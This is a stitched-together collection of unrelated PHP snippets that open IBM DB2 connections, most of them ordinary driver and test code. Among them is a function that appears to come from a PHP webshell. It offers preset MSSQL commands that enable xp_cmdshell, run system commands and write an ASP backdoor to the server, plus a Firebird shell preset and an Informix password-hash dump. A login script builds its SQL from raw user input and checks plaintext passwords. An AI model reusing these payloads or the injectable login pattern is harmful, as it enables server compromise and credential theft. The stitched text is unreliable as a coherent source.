function _connect($argDSN, $argUsername, $argPassword, $argDatabasename) { global $php_errormsg; if (!function_exists('db2_connect')) { ADOConnection::outp("Warning: The old ODBC based DB2 driver has been renamed 'odbc_db2'. This ADOdb driver calls PHP's native db2 extension."); return null; } // This needs to be set before the connect(). // Replaces the odbc_binmode() call that was in Execute() ini_set('ibm_db2.binmode', $this->binmode); if ($argDatabasename) { $this->_connectionID = db2_connect($argDatabasename, $argUsername, $argPassword); } else { $this->_connectionID = db2_connect($argDSN, $argUsername, $argPassword); } if (isset($php_errormsg)) { $php_errormsg = ''; } // For db2_connect(), there is an optional 4th arg. If present, it must be // an array of valid options. So far, we don't use them. $this->_errorMsg = @db2_conn_errormsg(); if (isset($this->connectStmt)) { $this->Execute($this->connectStmt); } return $this->_connectionID != false; }
function _connect($argDSN, $argUsername, $argPassword, $argDatabasename) { global $php_errormsg; if (!function_exists('db2_connect')) { return null; } // This needs to be set before the connect(). // Replaces the odbc_binmode() call that was in Execute() ini_set('ibm_db2.binmode', $this->binmode); if ($argDatabasename) { $this->_connectionID = db2_connect($argDatabasename, $argUsername, $argPassword); } else { $this->_connectionID = db2_connect($argDSN, $argUsername, $argPassword); } if (isset($php_errormsg)) { $php_errormsg = ''; } // For db2_connect(), there is an optional 4th arg. If present, it must be // an array of valid options. So far, we don't use them. $this->_errorMsg = isset($php_errormsg) ? $php_errormsg : ''; if (isset($this->connectStmt)) { $this->Execute($this->connectStmt); } return $this->_connectionID != false; }
/** * Open a connection to db */ public function connect() { $conn_string = "DATABASE=" . $this->dbname . ";HOSTNAME=" . $this->host . ";PORT=" . $this->port . ";PROTOCOL=TCPIP;UID=" . $this->user . ";PWD=" . $this->pwd . ";"; $this->conn = db2_connect($conn_string, '', ''); if (!$this->conn) { trigger_error(db2_conn_errormsg(), E_USER_ERROR); } return $this->conn; }
/** * @covers Zend\Db\Adapter\Driver\IbmDb2\Statement::prepare * @covers Zend\Db\Adapter\Driver\IbmDb2\Statement::isPrepared */ public function testPrepare() { $db2Resource = db2_connect($this->variables['database'], $this->variables['username'], $this->variables['password']); $statement = new Statement(); $statement->initialize($db2Resource); $this->assertFalse($statement->isPrepared()); $this->assertSame($statement, $statement->prepare("SELECT 'foo' FROM SYSIBM.SYSDUMMY1")); $this->assertTrue($statement->isPrepared()); unset($resource, $db2Resource); }
function db2_test() { $conn_string = variable_get('simsauth_connect_string'); $db2_conn = db2_connect($conn_string, '', ''); if ($db2_conn) { db2_close($db2_conn); return TRUE; } else { return FALSE; } }
/** * Connects to DB2 database. * * @throws Exception * @return resource */ public function connect() { $connection = null; $conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=" . Config::get('db.database_name') . ";HOSTNAME=" . Config::get('db.hostname') . ";PORT=" . Config::get('db.port') . ";PROTOCOL=TCPIP;UID=" . Config::get('db.user') . ";PWD=" . Config::get('db.password') . ";"; $connection = db2_connect($conn_string, '', ''); if (!$connection) { $message = "Could not connect in the database: " . db2_stmt_errormsg(); throw new Exception($message); } return $connection; }
public function __construct(array $params, $username, $password, $driverOptions = array()) { $isPersistant = isset($params['persistent']) && $params['persistent'] == true; if ($isPersistant) { $this->_conn = db2_pconnect($params['dbname'], $username, $password, $driverOptions); } else { $this->_conn = db2_connect($params['dbname'], $username, $password, $driverOptions); } if (!$this->_conn) { throw new DB2Exception(db2_conn_errormsg()); } }
public function testCreateStatement() { $driver = new IbmDb2(array()); $resource = db2_connect($this->variables['database'], $this->variables['username'], $this->variables['password']); $stmtResource = db2_prepare($resource, 'SELECT 1 FROM SYSIBM.SYSDUMMY1'); $driver->getConnection()->setResource($resource); $stmt = $driver->createStatement('SELECT 1 FROM SYSIBM.SYSDUMMY1'); $this->assertInstanceOf('Zend\\Db\\Adapter\\Driver\\IbmDb2\\Statement', $stmt); $stmt = $driver->createStatement($stmtResource); $this->assertInstanceOf('Zend\\Db\\Adapter\\Driver\\IbmDb2\\Statement', $stmt); $stmt = $driver->createStatement(); $this->assertInstanceOf('Zend\\Db\\Adapter\\Driver\\IbmDb2\\Statement', $stmt); $this->setExpectedException('Zend\\Db\\Adapter\\Exception\\InvalidArgumentException', 'only accepts an SQL string or a ibm_db2 resource'); $driver->createStatement(new \stdClass()); }
function connect() { $currentEnv = getenv('SERVER_ENVIRONMENT'); $type = "Database"; $name = ""; $properties = getConfigByName($currentEnv, $type, $name); if ($properties != "") { $DB_USER = $properties[0]->username; $DB_PASSWORD = $properties[0]->password; $DB_HOST = $properties[0]->host; $DB_NAME = $properties[0]->dbname; $DB_TYPE = $properties[0]->type; $conn = db2_connect($DB_NAME, $DB_USER, $DB_PASSWORD); return $conn; } else { $conn = ""; return $conn; } }
/** * {@inheritdoc} */ public function connect() { $config = $this->config; $config = array_merge($this->baseConfig, $config); $conn = "DATABASE='{$config['database']}';HOSTNAME='{$config['host']}';PORT={$config['port']};"; $conn .= "PROTOCOL=TCPIP;UID={$config['username']};PWD={$config['password']};"; if (!$config['persistent']) { $this->connection = db2_connect($conn, PGSQL_CONNECT_FORCE_NEW); } else { $this->connection = db2_pconnect($conn); } $this->connected = false; if ($this->connection) { $this->connected = true; $this->query('SET search_path TO ' . $config['schema']); } if (!empty($config['charset'])) { $this->setCharset($config['charset']); } return $this->connection; }
public function open() { if (!empty($GLOBALS['phpopenfw_db2_conn']) && is_resource($GLOBALS['phpopenfw_db2_conn']) && !$this->handle) { $this->handle = $GLOBALS['phpopenfw_db2_conn']; } else { if (!$this->handle) { $conn_str = "\n\t\t\t\tDRIVER={IBM DB2 ODBC DRIVER};\n\t\t\t\tDATABASE={$this->source};\n\t\t\t\tHOSTNAME={$this->server};\n\t\t\t\tPORT={$this->port};\n\t\t\t\tPROTOCOL=TCPIP;\n\t\t\t\tUID={$this->user};\n\t\t\t\tPWD={$this->pass};\n\t\t\t"; // Connection String if ($this->conn_str !== false) { $db_params = (string) $this->conn_str; if ($this->persistent) { $this->handle = !empty($this->options) ? db2_pconnect($db_params, '', '', $this->options) : db2_pconnect($db_params, '', ''); } else { $this->handle = !empty($this->options) ? db2_connect($db_params, '', '', $this->options) : db2_connect($db_params, '', ''); } } else { if ($this->persistent) { $this->handle = !empty($this->options) ? db2_pconnect($this->source, $this->user, $this->pass, $this->options) : db2_pconnect($this->source, $this->user, $this->pass); } else { $this->handle = !empty($this->options) ? db2_connect($this->source, $this->user, $this->pass, $this->options) : db2_connect($this->source, $this->user, $this->pass); } } if (db2_conn_errormsg()) { $this->connection_error(db2_conn_errormsg()); $this->handle = false; return false; } // Keep track of the number of connections we create $this->increment_counters(); } } // Flag Connection as Open $this->conn_open = true; // Start Transaction and Turn off Auto Commit? if (!$this->auto_commit && !$this->trans_started) { db2_autocommit($this->handle, DB2_AUTOCOMMIT_OFF); $this->start_trans(); } return true; }
/** * * * @todo Throw in your "transport/adapter" framework for a real OO look and feel .... * Throw new Exception("Fail execute ($sql) ".db2_stmt_errormsg(),db2_stmt_error()); * ... and retrieve via try/catch + Exception methods. * * @param $database * @param $user * @param $password * @param null $options 'persistent' is one option * @return bool */ public function connect($database, $user, $password, $options = null) { // Compensate for older ibm_db2 driver that may not do this check. if ($user && empty($password)) { $this->setErrorCode('08001'); $this->setErrorMsg('Authorization failure on distributed database connection attempt. SQLCODE=-30082'); return false; } if ($options) { if (isset($options['persistent']) && $options['persistent']) { $conn = db2_pconnect($database, $user, $password); } else { $conn = db2_connect($database, $user, $password); } if (is_resource($conn)) { return $conn; } } $this->setErrorCode(db2_conn_error()); $this->setErrorMsg(db2_conn_errormsg()); return false; }
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : 'ms'; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data"> <div class="actall"> <a href="?s=gg&db=ms">   MSSQL  </a> <a href="?s=gg&db=ora">   Oracle  </a> <a href="?s=gg&db=ifx">   InforMix  </a> <a href="?s=gg&db=fb">   FireBird  </a> <a href="?s=gg&db=db2">  DB2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <div class="actall"> <form method="POST" name="msform" action="?s=gg&db=ms"> Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); \tStr[0] = ""; \tStr[1] = "select @@version;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select name from sysobject where type='U';"; \tStr[4] = "select name from syscolumns where id=Object_Id('table_name');"; \tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; \tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; \tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; \tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';"; \tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; \tmsform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> \t<option value="5">sp_oacreate</option> \t<option value="6">xp_cmdshell</option> \t<option value="7">xp_cmdshell(2005)</option> \t<option value="8">sp_oacreate(2005)</option> \t<option value="9">����openrowset(2005)</option> \t<option value="10">xp_cmdshell exec</option> \t<option value="10">sp_oamethod exec</option> \t<option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></form></div> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td>' . "{$msrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=gg&db=ora"> <div class="actall"> Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br> <script language="javascript"> function oraFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select version();"; \tStr[2] = "SELECT NAME FROM V{$DATABASE}"; \tStr[3] = "select * From all_objects where object_type='TABLE'"; \tStr[4] = "select column_name from user_tab_columns where table_name='table1'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td>' . "{$orarow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=gg&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br> <script language="javascript"> function ifxFull(i){ Str = new Array(11); \tStr[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select tabname from systables;"; \tStr[4] = "select colname from syscolumns where tabid=n;"; \tStr[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�����������</option> \t<option value="1">���ݿ�</option> \t<option value="2">����</option> \t<option value="3">�ֶ�</option> \t<option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td>' . "{$ifxrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=gg&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br> <script language="javascript"> function db2Full(i){ Str = new Array(4); \tStr[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; \tStr[2] = "select name from sysibm.systables;"; \tStr[3] = "select colname from syscat.columns where tabname='table_name';"; \tStr[4] = "db2 get db cfg for db_name;"; db2form.db2sql.value = Str[i]; return true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">���ݿ�����</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td>' . "{$db2row[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=gg&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; \tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; \tStr[3] = "input 'D:\\createtable.sql';"; \tStr[4] = "shell netstat -an;"; fbform.fbsql.value = Str[i]; return true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">����sql</option> \t<option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td>' . "{$fbrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ibase_free_result($fbresult); ibase_close(); } } }
/** * Connects to the database using options in the given configuration array. * * @return boolean True if the database could be connected, else false */ function connect() { $config = $this->config; $connect = 'db2_connect'; if ($config['persistent']) { $connect = 'db2_pconnect'; } $this->connected = false; if ($config['cataloged']) { $this->connection = $connect($config['database'], $config['login'], $config['password']); } else { $connString = sprintf("DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%d;PROTOCOL=TCPIP;UID=%s;PWD=%s;", $config['database'], $config['hostname'], $config['port'], $config['login'], $config['password']); $this->connection = db2_connect($connString, '', ''); } if ($this->connection) { $this->connected = true; } if ($config['schema'] !== '') { $this->_execute('SET CURRENT SCHEMA = ' . $config['schema']); } return $this->connected; }
/** * Constructor for simpledb Proxy * Use the values from the configuration file provided to create a PDO for the database * Query the database to obtain column metadata and primary key * * @param string $target Target * @param string $immediate_caller_directory Directory * @param string $binding_config Config */ public function __construct($target, $immediate_caller_directory, $binding_config) { SCA::$logger->log('Entering constructor'); try { $this->table = $target; $this->config = SCA_Helper::mergeBindingIniAndConfig($binding_config, $immediate_caller_directory); if (array_key_exists('username', $this->config)) { $username = $this->config['username']; } else { $username = null; } if (array_key_exists('password', $this->config)) { $password = $this->config['password']; } else { $password = null; } if (array_key_exists('namespace', $this->config)) { $this->namespace = $this->config['namespace']; } if (array_key_exists('case', $this->config)) { $this->case = $this->config['case']; } else { $this->case = 'lower'; } if (!array_key_exists('dsn', $this->config)) { throw new SCA_RuntimeException("Data source name should be specified"); } $tableName = $this->table; // Special processing for IBM databases: // IBM table names can contain schema name as prefix // Column metadata returned by pdo_ibm does not specify the primary key // Hence primary key for IBM databases has to be obtained using // db2_primary_key. if (strpos($this->config["dsn"], "ibm:") === 0 || strpos($this->config["dsn"], "IBM:") === 0) { $this->isIBM = true; // Table could be of format schemaName.tableName $schemaName = null; if (($pos = strrpos($tableName, '.')) !== false) { $schemaName = substr($tableName, 0, $pos); $tableName = substr($tableName, $pos + 1); } // DSN for IBM databases can be a database name or a connection string // Both can be passed onto db2_connect. Remove the dsn prefix if specified $database = substr($this->config["dsn"], 4); if (strpos($database, "dsn=") === 0 || strpos($database, "DSN=") === 0) { $database = substr($database, 4); } // Need to make sure the name is in DB2 uppercase style $db2TableName = strtoupper($tableName); $conn = db2_connect($database, $username, $password); $stmt = db2_primary_keys($conn, null, $schemaName, $db2TableName); $keys = db2_fetch_array($stmt); if (count($keys) > 3) { $this->primary_key = $keys[3]; } else { throw new SCA_RuntimeException("Table '{$tableName}' does not appear to have a primary key."); } } $this->table_name = $this->_getName($tableName); if ($username != null) { $this->pdo = new PDO($this->config["dsn"], $username, $password, $this->config); } else { $this->pdo = new PDO($this->config["dsn"]); } $this->pdo_driver = $this->pdo->getAttribute(PDO::ATTR_DRIVER_NAME); $stmt = $this->pdo->prepare('SELECT * FROM ' . $this->table); if (!$stmt->execute()) { throw new SCA_RuntimeException(self::_getPDOError($stmt, "select")); } $columns = array(); for ($i = 0; $i < $stmt->columnCount(); $i++) { $meta = $stmt->getColumnMeta($i); $name = $this->_getName($meta["name"]); if (in_array("primary_key", $meta["flags"], true)) { $this->primary_key = $name; } $columns[] = $name; } //$pk = $this->_getName($this->primary_key); SCA::$logger->log("Table {$tableName} PrimaryKey {$this->primary_key}"); /* $metadata = array( 'name' => $this->table_name, 'columns' => $columns, 'PK' => $pk ); */ $this->datafactory = SDO_DAS_DataFactory::getDataFactory(); // Define the model on the data factory (from the database) $this->datafactory->addType(SCA_Bindings_simpledb_Proxy::ROOT_NS, SCA_Bindings_simpledb_Proxy::ROOT_TYPE); $this->datafactory->addType($this->namespace, $this->table_name); foreach ($columns as $name) { $this->datafactory->addPropertyToType($this->namespace, $this->table_name, $name, 'commonj.sdo', 'String'); } $this->datafactory->addPropertyToType(SCA_Bindings_simpledb_Proxy::ROOT_NS, SCA_Bindings_simpledb_Proxy::ROOT_TYPE, $this->table_name, $this->namespace, $this->table_name, array('many' => true)); } catch (Exception $e) { throw new SCA_RuntimeException($e->getMessage()); } SCA::$logger->log("Exiting constructor"); }
<?php session_unset(); error_reporting(0); session_start(); include 'connect.php'; if (isset($_POST['userName']) && isset($_POST['password'])) { $usernameEntered = $_POST['userName']; $passwordEntered = $_POST['password']; $conn = db2_connect($database, $dbusername, $dbpassword); $sqlquery = "SELECT password FROM OWNER.USERS WHERE email = '{$usernameEntered}' "; $stmt = db2_prepare($conn, $sqlquery); if ($stmt) { $result = db2_execute($stmt); if (!$result) { db2_stmt_errormsg($stmt); } while ($row = db2_fetch_array($stmt)) { $passwordFromDb = $row[0]; } db2_close($conn); echo $passwordFromDb; if ($passwordEntered == $passwordFromDb) { $_SESSION['username'] = $usernameEntered; header('Location: nav.php'); } else { header('Location: login.php'); } } } else { http_response_code(400);
/** * Opens an uncataloged database connection, sets mConn */ protected function openUncataloged($dbName, $user, $password, $server, $port) { $str = "DRIVER={IBM DB2 ODBC DRIVER};"; $str .= "DATABASE={$dbName};"; $str .= "HOSTNAME={$server};"; if ($port) { $str .= "PORT={$port};"; } $str .= "PROTOCOL=TCPIP;"; $str .= "UID={$user};"; $str .= "PWD={$password};"; @($this->mConn = db2_connect($str, $user, $password)); }
/** * Opens up a database connection. * * Use a pooled connection if the db supports it and * the <var>db_persistent</var> setting is enabled. * * <b>Notes:</b> * - The database type is determined by the global variable * <var>db_type</var> * - For ODBC, <var>$host</var> is ignored, <var>$database</var> = DSN * - For Oracle, <var>$database</var> = tnsnames name * - Use the {@link dbi_error()} function to get error information if the connection * fails * * @param string $host Hostname of database server * @param string $login Database login * @param string $password Database login password * @param string $database Name of database * * @return resource The connection */ function dbi_connect($host, $login, $password, $database) { if (strcmp($GLOBALS["db_type"], "mysql") == 0) { if ($GLOBALS["db_persistent"]) { $c = mysql_pconnect($host, $login, $password); } else { $c = mysql_connect($host, $login, $password); } if ($c) { if (!mysql_select_db($database)) { return false; } return $c; } else { return false; } } else { if (strcmp($GLOBALS["db_type"], "mysqli") == 0) { if ($GLOBALS["db_persistent"]) { $c = @mysqli_connect($host, $login, $password, $database); } else { $c = @mysqli_connect($host, $login, $password, $database); } if ($c) { /* if ( ! mysqli_select_db ( $c, $database ) ) return false; */ $GLOBALS["db_connection"] = $c; return $c; } else { return false; } } else { if (strcmp($GLOBALS["db_type"], "mssql") == 0) { if ($GLOBALS["db_persistent"]) { $c = mssql_pconnect($host, $login, $password); } else { $c = mssql_connect($host, $login, $password); } if ($c) { if (!mssql_select_db($database)) { return false; } return $c; } else { return false; } } else { if (strcmp($GLOBALS["db_type"], "oracle") == 0) { if (strlen($host) && strcmp($host, "localhost")) { $c = OCIPLogon("{$login}@{$host}", $password, $database); } else { $c = OCIPLogon($login, $password, $database); } $GLOBALS["oracle_connection"] = $c; return $c; } else { if (strcmp($GLOBALS["db_type"], "postgresql") == 0) { if (strlen($password)) { if (strlen($host)) { $dbargs = "host={$host} dbname={$database} user={$login} password={$password}"; } else { $dbargs = "dbname={$database} user={$login} password={$password}"; } } else { if (strlen($host)) { $dbargs = "host={$host} dbname={$database} user={$login}"; } else { $dbargs = "dbname={$database} user={$login}"; } } if ($GLOBALS["db_persistent"]) { $c = pg_pconnect($dbargs); } else { $c = pg_connect($dbargs); } $GLOBALS["postgresql_connection"] = $c; if (!$c) { echo "Error connecting to database\n"; exit; } return $c; } else { if (strcmp($GLOBALS["db_type"], "odbc") == 0) { if ($GLOBALS["db_persistent"]) { $c = odbc_pconnect($database, $login, $password); } else { $c = odbc_connect($database, $login, $password); } $GLOBALS["odbc_connection"] = $c; return $c; } else { if (strcmp($GLOBALS["db_type"], "ibm_db2") == 0) { if ($GLOBALS["db_persistent"]) { $c = db2_pconnect($database, $login, $password); } else { $c = db2_connect($database, $login, $password); } $GLOBALS["ibm_db2_connection"] = $c; return $c; } else { if (strcmp($GLOBALS["db_type"], "ibase") == 0) { $host = $host . ":" . $database; if ($GLOBALS["db_persistent"]) { $c = ibase_pconnect($host, $login, $password); } else { $c = ibase_connect($host, $login, $password); } return $c; } else { if (empty($GLOBALS["db_type"])) { dbi_fatal_error("dbi_connect(): db_type not defined."); } else { dbi_fatal_error("dbi_connect(): invalid db_type '" . $GLOBALS["db_type"] . "'"); } } } } } } } } } }
